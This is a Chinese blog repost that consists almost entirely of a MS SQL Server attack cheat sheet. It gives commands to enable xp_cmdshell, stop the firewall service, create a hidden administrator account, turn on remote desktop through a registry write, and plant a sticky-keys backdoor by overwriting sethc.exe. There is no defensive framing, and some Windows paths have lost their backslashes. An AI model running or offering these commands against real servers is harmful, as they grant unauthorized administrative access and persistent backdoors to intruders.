zoukankan      html  css  js  c++  java
  • sql

    开启xp_cmdshell
    exec sp_configure 'show advanced options', 1;reconfigure;
    exec sp_configure 'xp_cmdshell',1;reconfigure;
    关闭xp_cmdshell
    exec sp_configure 'show advanced options', 1;reconfigure;
    exec sp_configure 'xp_cmdshell', 0;reconfigure

    关闭防火墙
    exec master..xp_servicecontrol 'stop','sharedaccess'

    打开防火墙
    exec master..xp_servicecontrol 'start','sharedaccess'

    添加账户
    exec master..xp_cmdshell 'net user cepo cepo123 /add' 添加用户test,密码test
    exec mast
    er..xp_cmdshell 'net localgroup administrators cepo /add' 添加test用户到管理员组

    开启3389的SQL语句:
    exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal Server','fDenyTSConnections','REG_DWORD',0;

    关闭3389的SQL语句:
    exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal Server','fDenyTSConnections','REG_DWORD',1;

    SQL Server 阻止了对组件 ‘Ole Automation Procedures’ 的 过程’sys.sp_OACreate’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘Ole Automation Procedures’。有关启用 ‘Ole Automation Procedures’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。
    EXEC sp_configure 'show advanced options', 1
    RECONFIGURE WITH OVERRIDE
    EXEC sp_configure 'Ole Automation Procedures', 1
    RECONFIGURE WITH OVERRIDE

    添加shift 5次后门;
    declare @o int
    exec sp_oacreate 'scripting.filesystemobject', @o out
    exec sp_oamethod @o, 'copyfile',null,'c:windowsexplorer.exe','c:windowssystem32sethc.exe';

    declare @o int
    exec sp_oacreate 'scripting.filesystemobject', @o out
    exec sp_oamethod @o, 'copyfile',null,'c:windowssystem32sethc.exe','c:windowssystem32dllcachesethc.exe';

  • 相关阅读:
    Unity 2018 version class.jar path
    GitHub git
    QT install
    Android Studio 安装及汉化
    Unity 调用android
    JAVA 调用c++ 扩展 批评那些垃圾,
    JAVA java调用C++动态链接库dll,有详细过程。VS2015+Eclipse以及失败解决方案
    前端将数据转化为弹幕效果的实现方式
    css圣杯布局的实现方式
    浏览器缓存问题原理以及解决方案
  • 原文地址:https://www.cnblogs.com/dxp5201/p/9633689.html
Copyright © 2011-2022 走看看